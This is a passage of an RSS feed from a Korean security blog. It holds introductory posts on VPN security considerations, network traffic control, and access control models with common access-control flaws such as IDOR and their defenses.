&lt;li data-end=&quot;922&quot; data-start=&quot;896&quot;&gt;&lt;b&gt;네트워크 분리&lt;/b&gt;: 내부망과 외부망 구분&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;927&quot; data-start=&quot;924&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;949&quot; data-start=&quot;929&quot;&gt;  5. VPN과 보안 고려사항&lt;/h1&gt;
&lt;p data-end=&quot;965&quot; data-start=&quot;951&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;암호화 강도&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;991&quot; data-start=&quot;966&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;991&quot; data-start=&quot;966&quot;&gt;AES-256 등 강력한 암호화 사용 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1003&quot; data-start=&quot;993&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;인증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1024&quot; data-start=&quot;1004&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1024&quot; data-start=&quot;1004&quot;&gt;사용자 인증(MFA), 장치 인증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1039&quot; data-start=&quot;1026&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;로그 관리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1056&quot; data-start=&quot;1040&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1056&quot; data-start=&quot;1040&quot;&gt;VPN 접속 기록 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1072&quot; data-start=&quot;1058&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;안티 멀웨어&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1102&quot; data-start=&quot;1073&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1102&quot; data-start=&quot;1073&quot;&gt;VPN만으로 안전하지 않음, 장치 자체 보안 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1114&quot; data-start=&quot;1104&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;속도&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1142&quot; data-start=&quot;1115&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1142&quot; data-start=&quot;1115&quot;&gt;암호화 때문에 속도 저하 가능 &amp;rarr; QoS 고려&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1147&quot; data-start=&quot;1144&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1161&quot; data-start=&quot;1149&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1248&quot; data-start=&quot;1162&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;VPN = 공용 인터넷을 통해 안전하게 데이터를 전송하고, 사설망처럼 원격 접속을 가능하게 하는 기술로, 암호화와 인증을 통해 보안을 강화한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/357</guid>
      <comments>https://toastfactory.tistory.com/357#entry357comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:11:15 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 트래픽 통제란?</title>
      <link>https://toastfactory.tistory.com/356</link>
      <description>&lt;h1 data-end=&quot;72&quot; data-start=&quot;56&quot;&gt;  1. 트래픽 통제란?&lt;/h1&gt;
&lt;p data-end=&quot;137&quot; data-start=&quot;74&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;트래픽 통제는 &lt;b&gt;네트워크에서 흐르는 데이터(트래픽)를 관리하고 제어하는 기술&lt;/b&gt;을 의미해.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;223&quot; data-start=&quot;139&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;189&quot; data-start=&quot;139&quot;&gt;즉, &lt;b&gt;누가, 어디서, 어떤 데이터를 얼마나 보낼 수 있는지 제한/관리&lt;/b&gt;하는 것&lt;/li&gt;
&lt;li data-end=&quot;223&quot; data-start=&quot;190&quot;&gt;주로 &lt;b&gt;보안, 성능, 서비스 안정성&lt;/b&gt; 목적으로 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;228&quot; data-start=&quot;225&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;247&quot; data-start=&quot;230&quot;&gt;  2. 트래픽 통제 목적&lt;/h1&gt;
&lt;p data-end=&quot;259&quot; data-start=&quot;249&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;보안&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;311&quot; data-start=&quot;260&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;294&quot; data-start=&quot;260&quot;&gt;악성 트래픽(DoS/DDoS, 스팸, 악성 패킷) 차단&lt;/li&gt;
&lt;li data-end=&quot;311&quot; data-start=&quot;295&quot;&gt;내부망 침입 시도 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;328&quot; data-start=&quot;313&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;서비스 안정성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;369&quot; data-start=&quot;329&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;344&quot; data-start=&quot;329&quot;&gt;네트워크 과부하 방지&lt;/li&gt;
&lt;li data-end=&quot;369&quot; data-start=&quot;345&quot;&gt;특정 사용자/서비스 과도한 사용 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;389&quot; data-start=&quot;371&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;품질(QoS) 보장&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;443&quot; data-start=&quot;390&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;427&quot; data-start=&quot;390&quot;&gt;중요한 서비스(VoIP, 영상 회의 등)에 대역폭 우선 할당&lt;/li&gt;
&lt;li data-end=&quot;443&quot; data-start=&quot;428&quot;&gt;덜 중요한 트래픽은 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;448&quot; data-start=&quot;445&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;467&quot; data-start=&quot;450&quot;&gt;  3. 트래픽 통제 방법&lt;/h1&gt;
&lt;h3 data-end=&quot;491&quot; data-start=&quot;469&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ IP/Port 기반 필터링&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;535&quot; data-start=&quot;492&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;511&quot; data-start=&quot;492&quot;&gt;특정 IP나 포트 접근 차단&lt;/li&gt;
&lt;li data-end=&quot;535&quot; data-start=&quot;512&quot;&gt;방화벽(Firewall)에서 주로 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;허용: 192.168.0.0/24&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;차단: 외부 203.0.113.0&lt;/span&gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;605&quot; data-start=&quot;583&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ 프로토콜/서비스 기반 제한&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;658&quot; data-start=&quot;606&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;640&quot; data-start=&quot;606&quot;&gt;HTTP, HTTPS, FTP 등 특정 프로토콜만 허용&lt;/li&gt;
&lt;li data-end=&quot;658&quot; data-start=&quot;641&quot;&gt;예: 외부 FTP 접속 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;692&quot; data-start=&quot;660&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ 대역폭/속도 제한(Rate Limiting)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;738&quot; data-start=&quot;693&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;717&quot; data-start=&quot;693&quot;&gt;사용자 또는 서비스별 트래픽 양 제한&lt;/li&gt;
&lt;li data-end=&quot;738&quot; data-start=&quot;718&quot;&gt;예: 로그인 시도 초당 5회 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;778&quot; data-start=&quot;740&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ 트래픽 우선순위(QoS, Traffic Shaping)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;814&quot; data-start=&quot;779&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;796&quot; data-start=&quot;779&quot;&gt;중요한 트래픽 우선 처리&lt;/li&gt;
&lt;li data-end=&quot;814&quot; data-start=&quot;797&quot;&gt;VoIP &amp;gt; 일반 웹 트래픽&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;834&quot; data-start=&quot;816&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ 세션/연결 수 제한&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;867&quot; data-start=&quot;835&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;867&quot; data-start=&quot;835&quot;&gt;동시에 열 수 있는 연결 수 제한 &amp;rarr; 서버 과부하 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;890&quot; data-start=&quot;869&quot; data-ke-size=&quot;size23&quot;&gt;6️⃣ IDS/IPS 기반 차단&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;917&quot; data-start=&quot;891&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;917&quot; data-start=&quot;891&quot;&gt;비정상 패킷, 공격 패턴 탐지 시 자동 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;922&quot; data-start=&quot;919&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;942&quot; data-start=&quot;924&quot;&gt;  4. 트래픽 통제와 보안&lt;/h1&gt;
&lt;p data-end=&quot;986&quot; data-start=&quot;944&quot; data-ke-size=&quot;size16&quot;&gt;트래픽 통제는 단순히 속도 조절만 하는 게 아니라, &lt;b&gt;보안관제와 연결됨&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1125&quot; data-start=&quot;988&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1032&quot; data-start=&quot;988&quot;&gt;&lt;b&gt;DoS/DDoS 공격 방어&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1032&quot; data-start=&quot;1011&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1032&quot; data-start=&quot;1011&quot;&gt;대량 패킷 유입 시 트래픽 제한&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1087&quot; data-start=&quot;1033&quot;&gt;&lt;b&gt;WAF(Web Application Firewall)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1087&quot; data-start=&quot;1071&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1087&quot; data-start=&quot;1071&quot;&gt;비정상 요청 패턴 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li data-end=&quot;1125&quot; data-start=&quot;1088&quot;&gt;&lt;b&gt;네트워크 접근 제어&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1125&quot; data-start=&quot;1107&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1125&quot; data-start=&quot;1107&quot;&gt;허용되지 않은 외부 연결 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1130&quot; data-start=&quot;1127&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1149&quot; data-start=&quot;1132&quot;&gt;  5. 트래픽 통제 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1252&quot; data-start=&quot;1151&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1169&quot; data-start=&quot;1151&quot;&gt;서버&amp;middot;네트워크 안정성 향상&lt;/li&gt;
&lt;li data-end=&quot;1214&quot; data-start=&quot;1170&quot;&gt;악성 공격(DoS, Credential Stuffing 등) 피해 최소화&lt;/li&gt;
&lt;li data-end=&quot;1233&quot; data-start=&quot;1215&quot;&gt;서비스 품질 보장(QoS)&lt;/li&gt;
&lt;li data-end=&quot;1252&quot; data-start=&quot;1234&quot;&gt;로그 기반 보안 모니터링 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1257&quot; data-start=&quot;1254&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1271&quot; data-start=&quot;1259&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1381&quot; data-start=&quot;1272&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트래픽 통제 = 네트워크를 통해 흐르는 데이터를 관리&amp;middot;제어하여 보안, 안정성, 서비스 품질을 보장하는 기술로, IP 필터링, 속도 제한, QoS, IDS/IPS 등으로 구현할 수 있다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/356</guid>
      <comments>https://toastfactory.tistory.com/356#entry356comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:10:08 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 접근제어란?</title>
      <link>https://toastfactory.tistory.com/355</link>
      <description>&lt;h1 data-end=&quot;67&quot; data-start=&quot;53&quot;&gt;  1. 접근제어란?&lt;/h1&gt;
&lt;p data-end=&quot;135&quot; data-start=&quot;69&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;접근제어는 &lt;b&gt;누가, 언제, 어디서, 어떤 자원에 접근할 수 있는지를 제어하는 보안 기능&lt;/b&gt;이야.&lt;/p&gt;
&lt;p data-end=&quot;139&quot; data-start=&quot;137&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;192&quot; data-start=&quot;141&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;사용자 또는 시스템이 특정 데이터&amp;middot;기능&amp;middot;서비스에 접근할 수 있는 권한을 관리하는 것&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;336&quot; data-start=&quot;194&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;258&quot; data-start=&quot;194&quot;&gt;정보보안의 핵심 원칙 중 하나: &lt;b&gt;권한 없는 접근 차단(Least Privilege Principle)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;336&quot; data-start=&quot;259&quot;&gt;인증(Authentication)과 함께 사용됨
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;336&quot; data-start=&quot;292&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;309&quot; data-start=&quot;292&quot;&gt;인증: &amp;ldquo;누구냐?&amp;rdquo; 확인&lt;/li&gt;
&lt;li data-end=&quot;336&quot; data-start=&quot;312&quot;&gt;접근제어: &amp;ldquo;무엇을 할 수 있냐?&amp;rdquo; 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;341&quot; data-start=&quot;338&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;362&quot; data-start=&quot;343&quot;&gt;  2. 접근제어의 기본 원칙&lt;/h1&gt;
&lt;p data-end=&quot;400&quot; data-start=&quot;364&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;최소 권한 원칙 (Least Privilege)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;453&quot; data-start=&quot;401&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;424&quot; data-start=&quot;401&quot;&gt;사용자에게 필요한 최소 권한만 부여&lt;/li&gt;
&lt;li data-end=&quot;453&quot; data-start=&quot;425&quot;&gt;예: 일반 사용자는 읽기만, 관리자만 쓰기 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;493&quot; data-start=&quot;455&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;역할 기반(RBAC) / 속성 기반(ABAC) 제어&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;535&quot; data-start=&quot;494&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;535&quot; data-start=&quot;494&quot;&gt;사용자 역할(Role) 또는 속성(Attribute)에 따라 접근 결정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;567&quot; data-start=&quot;537&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;승인(Authorization) 필요&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;602&quot; data-start=&quot;568&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;602&quot; data-start=&quot;568&quot;&gt;인증 후에도, 자원 접근 여부는 항상 서버/시스템에서 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;607&quot; data-start=&quot;604&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;624&quot; data-start=&quot;609&quot;&gt;  3. 접근제어 유형&lt;/h1&gt;
&lt;h3 data-end=&quot;670&quot; data-start=&quot;626&quot; data-ke-size=&quot;size23&quot;&gt;1️⃣ 수평적 접근 제어(Horizontal Access Control)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;724&quot; data-start=&quot;671&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;693&quot; data-start=&quot;671&quot;&gt;&lt;b&gt;동일 권한 사용자 간 제한&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;724&quot; data-start=&quot;694&quot;&gt;예: A 사용자가 B 사용자의 데이터 조회 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/user/profile?userId=101 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;804&quot; data-start=&quot;758&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;804&quot; data-start=&quot;758&quot;&gt;userId=102로 바꾸면 다른 사용자의 정보 접근 가능 &amp;rarr; 수평적 제어 실패&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;848&quot; data-start=&quot;806&quot; data-ke-size=&quot;size23&quot;&gt;2️⃣ 수직적 접근 제어(Vertical Access Control)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;898&quot; data-start=&quot;849&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;869&quot; data-start=&quot;849&quot;&gt;&lt;b&gt;권한 수준에 따른 제한&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;898&quot; data-start=&quot;870&quot;&gt;예: 일반 사용자가 관리자 페이지 접근 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt;/admin/dashboard &amp;rarr; 일반 사용자 접근 차단 &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-end=&quot;988&quot; data-start=&quot;940&quot; data-ke-size=&quot;size23&quot;&gt;3️⃣ Mandatory Access Control(MAC, 강제적 접근 제어)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1039&quot; data-start=&quot;989&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1013&quot; data-start=&quot;989&quot;&gt;시스템 정책에 의해 강제로 접근 통제&lt;/li&gt;
&lt;li data-end=&quot;1039&quot; data-start=&quot;1014&quot;&gt;보안 등급 기반, 사용자가 권한 변경 불가&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1093&quot; data-start=&quot;1041&quot; data-ke-size=&quot;size23&quot;&gt;4️⃣ Discretionary Access Control(DAC, 재량적 접근 제어)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1139&quot; data-start=&quot;1094&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1114&quot; data-start=&quot;1094&quot;&gt;자원 소유자가 접근 권한 부여&lt;/li&gt;
&lt;li data-end=&quot;1139&quot; data-start=&quot;1115&quot;&gt;예: 파일 소유자가 읽기/쓰기 권한 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1187&quot; data-start=&quot;1141&quot; data-ke-size=&quot;size23&quot;&gt;5️⃣ Role-Based Access Control(RBAC, 역할 기반)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1253&quot; data-start=&quot;1188&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1207&quot; data-start=&quot;1188&quot;&gt;역할(Role)별 권한 설정&lt;/li&gt;
&lt;li data-end=&quot;1253&quot; data-start=&quot;1208&quot;&gt;예: 관리자(Admin) &amp;rarr; 모든 기능, 일반 사용자(User) &amp;rarr; 제한 기능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;1306&quot; data-start=&quot;1255&quot; data-ke-size=&quot;size23&quot;&gt;6️⃣ Attribute-Based Access Control(ABAC, 속성 기반)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1364&quot; data-start=&quot;1307&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1335&quot; data-start=&quot;1307&quot;&gt;사용자, 리소스, 환경 속성 기반 접근 결정&lt;/li&gt;
&lt;li data-end=&quot;1364&quot; data-start=&quot;1336&quot;&gt;예: 특정 IP, 시간대, 위치에서만 접근 허용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1369&quot; data-start=&quot;1366&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1389&quot; data-start=&quot;1371&quot;&gt;  4. 접근제어 공격 유형&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1575&quot; data-start=&quot;1391&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1449&quot; data-start=&quot;1391&quot;&gt;&lt;b&gt;Broken Access Control&lt;/b&gt;: 권한 검증 미흡 &amp;rarr; 다른 사용자/관리자 권한 탈취&lt;/li&gt;
&lt;li data-end=&quot;1525&quot; data-start=&quot;1450&quot;&gt;&lt;b&gt;IDOR(Insecure Direct Object Reference)&lt;/b&gt;: URL/파라미터 조작 &amp;rarr; 다른 사용자 데이터 접근&lt;/li&gt;
&lt;li data-end=&quot;1575&quot; data-start=&quot;1526&quot;&gt;&lt;b&gt;권한 상승(Privilege Escalation)&lt;/b&gt;: 일반 &amp;rarr; 관리자 권한 상승&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1580&quot; data-start=&quot;1577&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1600&quot; data-start=&quot;1582&quot;&gt;  5. 접근제어 방어 방법&lt;/h1&gt;
&lt;p data-end=&quot;1620&quot; data-start=&quot;1602&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;서버 측 권한 검증&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1666&quot; data-start=&quot;1621&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1638&quot; data-start=&quot;1621&quot;&gt;클라이언트 검증만 믿지 말기&lt;/li&gt;
&lt;li data-end=&quot;1666&quot; data-start=&quot;1639&quot;&gt;모든 요청마다 Role/Attribute 검증&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1684&quot; data-start=&quot;1668&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;최소 권한 정책&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1712&quot; data-start=&quot;1685&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1712&quot; data-start=&quot;1685&quot;&gt;기본 권한을 최소로 설정, 필요 시 권한 상승&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1731&quot; data-start=&quot;1714&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;로그 및 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1761&quot; data-start=&quot;1732&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1748&quot; data-start=&quot;1732&quot;&gt;비정상적인 접근 시도 기록&lt;/li&gt;
&lt;li data-end=&quot;1761&quot; data-start=&quot;1749&quot;&gt;보안관제 알람 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1787&quot; data-start=&quot;1763&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;RBAC/ABAC 정책 명확화&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1822&quot; data-start=&quot;1788&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1808&quot; data-start=&quot;1788&quot;&gt;역할별, 속성별 접근 범위 문서화&lt;/li&gt;
&lt;li data-end=&quot;1822&quot; data-start=&quot;1809&quot;&gt;정책 변경 기록 유지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1838&quot; data-start=&quot;1824&quot; data-ke-size=&quot;size16&quot;&gt;5️⃣ &lt;b&gt;보안 테스트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1900&quot; data-start=&quot;1839&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1860&quot; data-start=&quot;1839&quot;&gt;수평/수직적 접근 제어 취약점 점검&lt;/li&gt;
&lt;li data-end=&quot;1900&quot; data-start=&quot;1861&quot;&gt;OWASP Top 10 Broken Access Control 체크&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1905&quot; data-start=&quot;1902&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1919&quot; data-start=&quot;1907&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;2013&quot; data-start=&quot;1920&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;접근제어 = 사용자가 어떤 자원에 접근할 수 있는지 권한을 관리하고 통제하는 보안 기능으로, 최소 권한 원칙과 역할/속성 기반 정책을 적용해 보호해야 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/355</guid>
      <comments>https://toastfactory.tistory.com/355#entry355comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:09:28 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 크리덴셜 스터핑(Credential Stuffing)이란?</title>
      <link>https://toastfactory.tistory.com/354</link>
